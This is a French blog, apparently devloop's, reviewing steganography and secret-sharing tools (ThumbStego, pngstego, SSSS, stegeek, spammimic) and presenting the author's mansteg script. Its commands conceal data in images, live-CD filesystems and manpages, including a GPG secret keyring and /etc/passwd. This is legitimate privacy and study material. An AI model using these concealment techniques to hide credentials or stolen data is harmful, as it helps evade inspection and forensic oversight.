La description du logiciel, telle que trouvée sur PacketStorm, est la suivante :

Thumbnail steganography creates a thumbnail from a source image and stores data in it by altering the color channels. To decipher the data, a new thumbnail is made from the original image and the differences between the pixels are calculated. This is intended to increase complexity of automated deciphering of images containing extra (steganographied) data. It requires both the original and the thumbnail to decipher. The original works like a key to unlock the thumbnail.

Je ne saurais pas expliquer en détail le fonctionnement de cet outil, les courageux se pencheront vers les sources en Java. Ce qu'il faut retenir c'est principalement la génération d'une image miniature de l'originale, créée de façon à ce que l'originale ait un rôle de masque pour extraire les données cachées :smile:

Pour utiliser le logiciel, vous aurez besoin d'une version récente de Java sans quoi un message d'erreur de version vous jette, ou alors vous devrez recompiler le programme. De mon côté j'ai opté pour la première solution et ait installé la version 1.6 de Java (j'avais la 1.5).
Armé d'une image et d'un fichier texte, le me suis placé dans le répertoire bin (une fois l'archive de ThumbStego décompressée) et ait tappé la commande suivante :
java -cp . tstego/TStego E sdreams.jpg out.png 17941-8.txt S

Ceci m'a généré l'image miniature out.png... à la regarder avec un éditeur hexadécimal, rien ne se laisse deviner que ce fichier cache des données à sa façon.

L'image et sa miniature :


Pour extraire les données :
java -cp . tstego/TStego D sdreams.jpg out.png secret.txt

Et on découvre alors qu'une vingtaine de fables de La Fontaine y étaient dissimulées :smile:

Pour résumer ThumbStego utilise un concept très intéressant et comble du bonheur offre un ratio qui a l'air pas mauvais du tout.
Certes je n'ai pas fait de calcul, mais l'option S permet de générer une miniature la plus petite possible en prenant en compte la quantité de données à cacher. Avec une miniature réduite de seulement 1%, il est évident que le ratio est bien plus intéressant qu'avec les outils standards.
Rien que dans mon exemple, le texte fait environ 29% de la taille de la miniature en étant loin de forcer les capacités du soft... avec d'autres outils on aurait eu un ratio de 12.5% (1/8 pour le LSB).
On regrette juste que le logiciel soit un peu lent (de grosses boucles dans le code) et un peu casse-tête à lancer (sous la forme d'un jar ce serais parfait).
Dans tous les cas, à garder sous la main :smile:

Mise à jour: les nouvelles versions sont maintenant sous la forme d'un jar avec une interface graphique :smile:

Live CD et stéganographie

, , , ...

Les distributions Linux "live" (que l'on peut démarrer sans installation en bootant à partir d'un CD ou d'un DVD) offrent un support intéressant pour dissimuler des données.
En effet qui penserait à étudier en détail un CD-ROM qui à première vue ne contient que l'un de ces systèmes d'exploitation ?
De plus le système de fichier virtuel obtenu une fois que l'on a démarré le système est stocké compressé sur le CD, ce qui rend encore plus difficile l'analyse du cd.

De plus en plus de systèmes utilisent SquashFS pour stocker les fichiers compressés. SquashFS est un système de fichier compressé accessible en lecture seule. Il offre un très bon taux de compression et est simple d'utilisation.

Dans cet article on va modifier l'iso de grml 0.8 (la version 0.9 devrait sortir sous peu, la release candidate 1 étant déjà disponible).
Au départ je comptais modifier l'iso d'Ubuntu live mais je me suis rendu compte que je n'avais plus le fichier. Ubuntu utilisant aussi SquashFS, l'opération ne devrait pas être bien différente (vous pouvez utiliser cet article sur la personnalisation du CD)

Avant d'aller plus loin il faut nous assurer d'avoir :
  • Un système assez performant (générer l'image SquashFS demande beaucoup de ressources)
  • Quelques Go de libre
  • Un logiciel pour modifier des fichiers isos comme ISO Master ou Kiso. On pourrait très bien faire cette opération avec mount et mkisofs... mais pourquoi s'embêter ?
  • Le module noyau pour SquashFS ainsi que les outils utilisateur

Depuis ma SUSE 10.1 j'ai opté pour isomaster dont des packages sont disponibles.
J'ai aussi dû installer SquashFS puisqu'il n'est pas présent par défaut sur SUSE 10.1. J'ai récupéré squashfs-3.1-1.i586.rpm et squashfs-kmp-default-3.1_2.6.16.21_0.25-1.i586.rpm disponibles ici

Un "rpm -ivh *.rpm" et les packages sont installés. Ensuite on charge le module SquashFS avec modprobe : "modprobe squashfs"

On ouvre grml_0.8.iso avec ISO Master :

Le logiciel est très simple d'utilisation. La fenêtre du haut représente l'arborescence locale et la fenêtre du bas le contenu du cdrom.

On extrait l'image SquashFS du cdrom. Pour grml, il s'agit du fichier GRML/GRML :

Le fichier est facilement reconnaissable : il prend la quasi totalité de l'espace.

On monte le système de fichier (en root) :
mount -t squashfs GRML /mnt/ -o loop

Comme SquashFS est en lecture seule on ne va pas pouvoir travailler directement sur le système de fichier. On va faire une copie d'archive :
cp -a /mnt/. /tmp/fs_grml/
sync
umount /mnt/

On peut libérer de la place en supprimant l'ancienne image SquashFS (fichier GRML) dont on n'a plus besoin

A vous de dissimuler vos données dans le système de fichier présent dans /tmp/fs_grml. J'ai opté pour "un petit plus" en utilisant mansteg et dissimuler les données dans les manpages.
python hide.py ~root/.gnupg/secring.gpg /tmp/fs_grml/usr/share/man/man1/gpg.1.gz

Une fois les fichiers ajoutés on génère une nouvelle image SquashFS (c'est assez long) :
mksquashfs /tmp/fs_grml/ /tmp/GRML

Avec ISO Master on rouvre l'iso, on supprime l'ancien fichier GRML présent dans le dossier du même nom et on y place le nouveau. On enregistre ensuite l'iso sous un autre nom (les modifications directes ne sont pas supportées).

On grave l'iso et c'est bon !

pngstego

, , , ...

J'étais passé à côté de pngstego en me disant que ce logiciel de stéganographie utilisant le format PNG n'en vallait pas la peine, comme un certain nombre de programmes qui dissimulent des informations dans des fichiers image.

Il faut dire que pngstego utilise la technique des bits de poids faible (voir Wikipedia: LSB) qui est on ne peut plus classique. Le principe est simple : chaque pixel de l'image est encodé par un code couleur tenant sur un octet dans le fichier. Le dernier bit de cet octet est dis "bit de poids faible" car son état est quasi-insignifiant sur le rendu final de l'image. En effet l'oeil humain ne parviendra pas à distinguer des nuances aussi subtiles entre deux couleurs.

L'avantage de la technique LSB est qu'elle donne un ratio d'un huitième (1/8) pour la dissimulation des données ce qui loin d'être négligeable comparé à un isosteg (moins de 1/700) dont j'ai brièvement parlé dans mon billet précédent.

Le gros inconvénient de cette technique est quelle est facilement détectable, par exemple avec des outils comme stegdetect de Niels Provos ou Shade (pour l'instant ne supporte que le format BMP).

Afin de rendre plus difficile la récupération des données, pngstego utilise un chiffrement par transposition. Les données à insérer ne sont pas mises dans l'ordre dans l'image mais aléatoirement en utilisant les fonctions C pseudo-aléatoires random() et srandom() :idea:
Afin que la personne à qui est destinée l'image générée puisse extraire le message secret, une clé privée doit être connu des deux participants. Cette clé est en fait la "graine" qui a servi à initialiser la fonction srandom(), c'est donc un nombre.

Vous pouvez laisser pngstego le choisir aléatoirement pour vous ou le fixer vous même. Utiliser sa date de naissance ou son numéro de téléphone n'est pas forcément une bonne idée p: Je recommande par exemple que vous choisissiez un mot de passe et que vous utilisiez les valeurs décimales/hexadécimales/octales des caractères.

Mais la transposition ne vous protégera pas forcément de l'attaque d'un bon cryptanalyste (en particulier si le message est un texte en clair on peut se fier aux majuscules, ponctuation etc pour retrouver le message original)
C'est pour cela que l'auteur de pngstego conseille d'utiliser un solution de cryptage puissante (GPG) avant de dissimuler les données :ninja:

Le code source est très léger et compile facilement (tapper 'make', juste quelques warnings). Il nécessite les entêtes de la librairie png (libpng-devel)

Pour l'exemple nous allons utiliser une photo d'une oeuvre de Banksy. Banksy est un artiste engagé très réputé, principalement pour ses graffitis. Son dernier coup a été de détourner le CD audio de Paris Hilton (vous pouvez trouver des photos sur flickr)

L'image choisie ici est un graff bien connu :


Et le texte à dissimuler sera Jabberwocky, un poème délirant de Lewis Carroll tiré de "Through The Looking Glass" qui se base sur le principe des mots-valises (portmanteau en anglais)
L'image pesant 68Ko et le texte 961 octets, on rentre largement dans le ratio :smile:

On n'a plus qu'à tapper la commande
./pngstego -s -i bksmall_in.png -m jab.txt bksmall_out.png

qui donne la sortie suivante :
Image size 240 x 160 pixels, 8 bit per pixels
random seed: 917184151
libpng warning: Invalid sBIT depth specified
libpng warning: Invalid sBIT depth specified

Voici l'image résultante :


Cette nouvelle image pèse 2Ko de plus (70Ko)... Je ne suis pas parvenu à déterminer la raison de cette augmentation, il se pourrait que ce soit la regénération par la librairie png qui soit en cause :/

Pour retrouver le message on utilise pngstego en mode extraction et en spécifiant la graine utilisée lors de la création de l'image :
./pngstego -x -i bksmall_out.png -m message.txt -S 917184151

Rien de plus simple :smile:

PS: pngstego ne fonctionne pas avec toutes les images PNG, il accepte les images en niveau de gris 8 bits et les images couleur 8 bits RGB.
Utilisez la commande 'file' pour savoir si une image est utilisable :
$ file bksmall_in.png
bksmall_in.png: PNG image data, 240 x 160, 8-bit/color RGB, non-interlaced

Si on avait obtenu RGBA au lieu de RGB nous n'aurions pas pû utiliser l'image d'exemple

Des news en bazar

, , , ...

Une semaine (ou presque) sans billets (oups) même si certains sujets ont été assez actifs au niveau des commentaires.
J'ai pas mal taffé ce mois çi (malheureusement rien à voir avec l'informatique) et j'étais bien trop crevé pour faire quoi que ce soit, en plus j'étais pas dans ma blog mood, pas aware quoi :D

Comme d'habitude j'ai testé tout un tas de logiciels, pas mal de softs de stéganographie, des bons, des moins bons, des facilement compilables, d'autres impossibles à compiler (en fait pour ceux là les tests s'arrêtent avant d'avoir pû essayer le soft), open-source, closed-source, actifs, abandonnés, erreurs 404, host unreachable etc (oui j'ai fouillé).
Dans l'ensemble je cherchais un logiciel de stegano permettant de dissimuler quelques méga-octets dans un fichier et qui soit open-source et fonctionnant sous Linux (encore mieux s'il fonctionne aussi sous Windows). Mais peu de surprises : la quasi-totalité ne permettent de cacher au maximum que quelques kilo-octets.

J'ai donc décidé de voir plus gros au niveau du format conteneur. J'ai découvert isosteg qui comme son nom l'indique permet de cacher des données dans une image ISO.
L'exemple donné sur le site d'isosteg semblait prometteur : pouvoir dissimuler 3Mo dans une image iso de 674Mo, super !
Seulement cet exemple est bien optimiste par rapport aux tests que j'ai effectué nervous :

ubuntu-6.06-desktop-i386.iso (Ubuntu Live CD) 698Mo -> 292Ko
grml_0.8.iso (le dernier GRML) 697Mo -> 40Ko
trustix-2.2-200608031721.i586.iso (Trustix Sunchild) 444Mo -> 117Ko
MomongaLinux3-i686-dvd.iso (Momonga Linux... que je compte tester un jour) 3.6Go -> 127Ko

Visiblement il faut de sacrées chances pour tomber sur le bon ISO :yikes:

J'ai essayé le système d'exploitation Syllable (par VMWare) sur lequel je n'ai rien à redire : tout semble fonctionner, ensuite c'est les goûts et les couleurs p:

Je viens tout juste d'essayer SIM-IM (SIM Instant Messenger), un logiciel de messagerie instantané multi-protocole qui n'a pas grand chose à envier à Gaim. Ajouté à ça un module permet d'encrypter au vol les conversations avec GPG :up:

Il existe une version open-source de ce que fait spammimic, développé par un membre de CyberArmy et téléchargeable ici. Il s'agit d'un CGI en perl. Pour des raisons qui m'échappent encore je n'ai pas réussi à le faire fonctionner sous Apache.

J'ai de la nouvelle lecture. il me faudra beaucoup de temps avant que j'arrive à lire les (presque) 1000 pages du livre, déjà que je n'ai toujours pas fini le livre de Bruce. Je suis seulement au tout début de ce livre sur Linux mais il semble très bien écrit et assez accessible (nécessite tout de même d'être un utilisateur de Linux et d'avoir des bonnes connaissances en C)

Google a soufflé ses 8 bougies il y a quelques jours. Les projets de la société laissent parfois songeur, la vie privée des internautes est de plus en plus couverte par ce géant de l'Internet. Ce n'est pas une mauvaise chose de bloquer les cookies venant des moteurs de recherche.

L'affaire AOL est un bon exemple des dérives provoquées par la surveillance continue des Internautes. Le site Futura-Sciences a écrit un très bon article sur cette histoire.


Je farfouillais dans les bacs à disques et j'ai eu l'immense plaisir de découvrir un nouvel album des Stranglers, que je croyais disparu depuis belle lurette (en fait ils ont sorti un album en 2004 après 6 ans d'absence).
Les Stranglers ont marqué à tout jamais l'histoire du Punk. Les gens connaissent généralement peu ce style musical qui offre en réalité une palette assez large, réduisant le punk au hardcore, au punk rock. La confusion a été totale à une époque où les mauvaises langues disaient que le punk était mort. En fait il a simplement explosé en autant de dérivés que la Oï, le punk-hardcore, la new wave, le grunge et que sais-je encore p:
Les Stranglers ne font pas du punk harcore, ils ont un côté pop bien à eu qui leur a permis de toucher un public bien plus large et de faire quelques tubes (vous avez sans doute déjà entendu Always The Sun). Contrairement aux Rezillos, leur côté pop est loin d'être festif. Il y a dans leur musique quelque chose de dérangeant (et dérangé), une touche vraiment artistique, ce même art que l'on retrouve dans des galeries, en face de tableaux étranges qui provoquent des émotions sans que l'on sache pourquoi.
Leur chansons prennent parfois une tournure psychédélique, utilisant des sonorités étranges, la musique des Stranglers atteint directement le cerveau. En fait il n'y a pas grand chose de plus fort qu'une envie de Stranglers :D

Suite XVI, leur nouvel album, s'inscrit complétement dans la continuité. Les membres du groupe ont changé entre temps, le chanteur n'est plus le même pourtant... tout est là ! Et pire encore, tout est toujours aussi bon :yes:
Quand j'ai voulu écouter Suite XVI, j'ai eu peur que le CD soit protégé par un quelconque procédé anti-copie, rendant la lecture difficile sur certains lecteurs. En réalité il n'en est rien. Mon lecteur CD a simplement rendu l'âme à la seule lecture des premières mesures de l'album. La dose était trop forte semble-t-il :D

Je vous recommande vivement cet album, ou alors Peaches - The Very Best Of si vous désirez dévouvrir les anciennes chansons du groupe.
Un extrait du nouvel album est un écoute sur cette page :sing:

Retour à l'informatique... J'ai remarqué par son site que rgod utilise Wapiti pour trouver des vulnérabilités dans les logiciels qu'il audite. Ca fait plaisir :smile:
Je compte toujours continuer le développement de Wapiti, j'attends juste d'avoir un peu de temps et l'impulsion nécessaire. J'ai aussi travaillé sur un projet de forum en PHP il y a quelques temps (j'ai fait les 90% du travail en un temps record) et je n'ai pas repris depuis pour les mêmes raisons. Mais j'y pense.

Deux logiciels de cryptographie

, , , ...

Dans ce billet je vais vous parler de deux logiciels cryptographiques qui se basent sur des concepts ingénieux :ninja:

SSSS (pour Shamir's Secret Sharing Scheme) se base sur le principe du secret partagé, plus précisemment sur les travaux du célèbre Adi Shamir sur le sujet.

Le principe du secret partagé est entré depuis longtemps dans nos esprits. Qui n'a pas vu un film dans lequel un trésor est protégé par tout un tas de verrous et auquel on ne pourra accèder qu'une fois que les propriétaires des clés correspondantes seront réunis ?

Mais dans une telle situation on a tendance à voir les clés des différents protagonistes comme autant de mots de passe. Je dirais que du point de vue de SSSS, le mot de passe est le trésor et que les clés... sont simplement des clés cryptographiques. Certes ce ne sont pas des clés publiques puisque leur divulgation permettrait l'accès au trésor par n'importe qui, mais le vol d'une seule clé ne permettrait pas de briser la protection :knight:

Si je dis que le trésor est un mot de passe c'est principalement parce que SSSS ne permet que de cacher une chaine de 128 caractères ASCII maximum.

La commande ssss-split va se charger de répartir le secret à dissimuler dans les différentes clés. Par exemple si je désire cacher le secret dans 8 clés différentes et que ce secret soit accessible par 4 possesseurs de ces clés (quelqu'ils soient), je tappe :
$ ssss-split -t 4 -n 8

Le programme me demande alors d'entrer le secret et 8 clés seront générés :
1-57c86c3b18f3c490
2-208098db24047637
3-c600bba02b41008a
4-a76a68d66263efcc
5-556f77fc199c2934
6-0b2dfbbecc1efb19
7-48a9365210b2b699
8-239ab30fbb4d76e7

Je m'empresse de donner à chacun sa clé et si plus tard nous avons besoin de retrouver ce secret il suffira de réunir 4 membres du groupe et de faire appel à la commande ssss-combine :
$ ssss-combine -t 4
Enter 4 shares separated by newlines:
Share [1/4]: 3-c600bba02b41008a
Share [2/4]: 6-0b2dfbbecc1efb19
Share [3/4]: 8-239ab30fbb4d76e7
Share [4/4]: 1-57c86c3b18f3c490
Resulting secret: l33tp4ss

Dans ce cas là se sont les clés numérotées 3,6,8,1 qui ont permis de retrouver le secret.

C'est dommage que le logiciel soit limité à 128 caractères et ne permette pas de partager des fichiers...
J'ai aussi trouvé un bug assez génant :
$ ssss-combine -t 2
Enter 2 shares separated by newlines:
Share [1/2]: 4-a76a68d66263efcc
Share [2/2]: 7-48a9365210b2b699
Resulting secret: o..Q....
WARNING: binary data detected, use -x mode instead.

Dans le cas où seulement deux clés sont compromises sur les 4 (ou plus), on obtient un mauvais résultat mais dont la longueur est celle du vrai mot de passe :frown:

Pour compiler le logiciel vous aurez besoin de la librairie GMP sur les calculs de grands nombres (paquets gmp et gmp-devel sur SUSE)

Stegeek se base aussi sur le principe des clés multiples mais de façon bien différente. Si je devais donner une référence, je dirais que c'est le principe de la "salle sur demande" dans Harry Potter :wizard:
Pour ceux qui ne connaissent pas cela signifie qu'il y a un coffre magique dont le contenu change en fonction de la clé utilisée pour l'ouvrir.

A quoi ce principe peut-il servir en informatique ? Tout simplement à induire en erreur un attaquant qui aurait intercepté le fichier crypté et aurait réussi à en extraire des données (sans intérêt) avec un certain mot de passe alors que les données sensibles seraient protégées avec un mot de passe plus fort

Pour faire fonctionner Stegeek vous devez au préalable créer un fichier qui contiendra les différents mots de passes (un par fichier à dissimuler et un mot de passe par ligne)

Par exemple je crée un nouveau fichier nommé passfile dont le contenu est :

ceciestlepremierpass
thisisthesecondpass
herecomethethirdpassword


Ensuite j'utilise stegeek pour cacher 3 fichiers dans un fichier nommé blah :
$ stegeek -o blah -r 1.5 /etc/passwd /etc/issue /etc/SuSE-release < passfile
/etc/passwd
/etc/issue
/etc/SuSE-release
-----
Adding 3 files.
Enter encryption keys for files
(10-36 chars, first 4 chars must differ from other keys of files in archive)
key 0:key 1:key 2:
Creating archive...
Done.

Maintenant déchiffrons le fichier blah avec le troisième mot de passe, le résultat étant stocké dans le fichier secret :
$ stegeek -e -o secret blah
Enter extraction key: herecomethethirdpassword
Extracting...
Done.
Erreur de segmentation
$ cat secret
SUSE LINUX 10.1 (i586)
VERSION = 10.1

et avec le second mot de passe :
$ stegeek -e -o secret blah
Enter extraction key: thisisthesecondpass
Extracting...
Done.
Erreur de segmentation
$ cat secret
Welcome to SUSE LINUX 10.1 (i586) - Kernel \r (\l).

Malgré quelques erreurs de segmentation tout fonctionne :smile: Malheureusement le projet est mort :'(

Deux logiciels forts intéressants... évidemment il faut trouver l'occasion de les utiliser :smile:

Spam et messages secrets

, , ,

Il y a quelques mois, je vous avais parlé de Deogol, un outil de stéganographie textuelle qui utilisait la permutation des attributs dans les balises HTML pour encoder et dissimuler de l'information.

A cette occasion j'avais cité d'autres outils de stéganographie textuelle (dont l'objectif est généralement de transformer un texte secret en un texte apparemment sans intérêt) comme Nicetext et CryptoMX.

L'idée de dissimuler du texte dans du spam m'avais semblé intéressante, malheureusement, aucune implémentation n'existait à l'époque. MAIS c'est dorénavant possible grace au site spammimic :smile:

Ainsi si j'encode le mot 'devloop' avec leur algorithme, j'obtiens le résultat suivant :

Dear E-Commerce professional ; This letter was specially selected to be sent to you . This is a one time mailing there is no need to request removal if you won't want any more ! This mail is being sent in compliance with Senate bill 1621 , Title 2 ; Section 302 ! This is not multi-level marketing . Why work for somebody else when you can become rich in 76 MONTHS . Have you ever noticed nearly every commercial on television has a .com on in it & more people than ever are surfing the web ! Well, now is your chance to capitalize on this . WE will help YOU use credit cards on your website and deliver goods right to the customer's doorstep ! You can begin at absolutely no cost to you . But don't believe us . Ms Anderson of Colorado tried us and says "Now I'm rich, Rich, RICH" ! We are licensed to operate in all states . If not for you then for your LOVED ONES - act now ! Sign up a friend and you'll get a discount of 80% ! Best regards !



Effectivement le résultat est très caractéristique du spam : on décroche tout de suite et on cherche aussitôt le bouton supprimer... Pour distinguer un vrai spam d'un vrai-faux spam il faudrait donc rajouter un moyen de reconnaissance p: (choisir un sujet plutôt qu'un autre ?)

Evidemment le décryptage est possible sans quoi cela n'aurait pas grand intérêt. On regrette juste qu'il n'y ait pas de logiciels téléchargeables à disposition et que l'algoritme soit caché (peut-on faire réellement confiance à un système de cryptage à source fermée ?)
Enfin je suis très content de voir une implémentation de ce principe :up:

Essayer SpamMimic

mansteg : stéganographie dans les manpages

, , , ...

Les pages de manuel UNIX, les manpages, se situent généralement dans l'arborescence /usr/share/man et sont stockées compressées (gzippées). Elles permettent d'obtenir des informations sur des commandes ou sur des fonctions du langage C et bien plus encore, le tout en utilisant la commande 'man' penguin
Si l'on décompresse l'une de ces pages de manuel on découvre des lignes de textes dans un langage de mise en forme nommé Troff.
J'ai développé un petit outil de stéganographie qui utilise les manpages pour dissimuler des informations.
mansteg utilise en effet la possibilité d'insérer des commentaires dans un document troff, commentaires qui ne sont pas visibles lors du rendu de la page de manuel.
Pour cacher un message, mansteg va l'encoder en base64, le découper en blocks de 64 octets et placer le résultat sous forme de lignes de commentaires dans une page de manuel.
L'avantage de cette méthode est qu'il n'y a aucune contrainte de taille comme c'est souvent le cas avec les outils de stéganographie.

Prenons en exemple avec le texte suivant :

Steganography is the art and science of writing hidden messages in such a way
that no one apart from the intended recipient knows of the existence of the
message; this is in contrast to cryptography, where the existence of the
message itself is not disguised, but the content is obscured.


que nous allons dissimuler dans la page de manuel de la commande wget (/usr/share/man/man1/wget.1.gz) :
# python hide.py message.txt /usr/share/man/man1/wget.1.gz

Pour étudier le résultat on décompresse wget.1.gz (gunzip wget.1.gz) et on affiche son contenu. Les premières lignes sont :
.\" U3RlZ2Fub2dyYXBoeSBpcyB0aGUgYXJ0IGFuZCBzY2llbmNlIG9mIHdyaXRpbmcg
.\" aGlkZGVuIG1lc3NhZ2VzIGluIHN1Y2ggYSB3YXkKdGhhdCBubyBvbmUgYXBhcnQg
.\" ZnJvbSB0aGUgaW50ZW5kZWQgcmVjaXBpZW50IGtub3dzIG9mIHRoZSBleGlzdGVu
.\" Y2Ugb2YgdGhlCm1lc3NhZ2U7IHRoaXMgaXMgaW4gY29udHJhc3QgdG8gY3J5cHRv
.\" Z3JhcGh5LCB3aGVyZSB0aGUgZXhpc3RlbmNlIG9mIHRoZQptZXNzYWdlIGl0c2Vs
.\" ZiBpcyBub3QgZGlzZ3Vpc2VkLCBidXQgdGhlIGNvbnRlbnQgaXMgb2JzY3VyZWQu
.\" Cg==
.\" ****************************************************************
.\" Automatically generated by Pod::Man v1.37, Pod::Parser v1.3
.\"
.\" Standard preamble:
.\" ========================================================================
.de Sh \" Subsection heading

On retrouve notre message encodé, suivi d'une série d'astérisques, ajoutés par mansteg pour délimiter nos commentaires des commentaires déjà présents, puis le début de la page de manuel à proprement parler.

Pour récupérer notre message, rien de plus simple :
# python extract.py /usr/share/man/man1/wget.1.gz
Steganography is the art and science of writing hidden messages in such a way
that no one apart from the intended recipient knows of the existence of the
message; this is in contrast to cryptography, where the existence of the
message itself is not disguised, but the content is obscured.

Les données sont très facilement récupérables pour quelqu'un qui aurait vu le 'truc' étant donné que l'algorithme base64 est réversible est utilisé couremment. Il est donc préférable de crypter le document à cacher avant de l'insérer dans une page de manuel, par exemple avec gpg.

C'est développé en Python et téléchargeable ici
Si vous avez des questions n'hésitez pas :wink: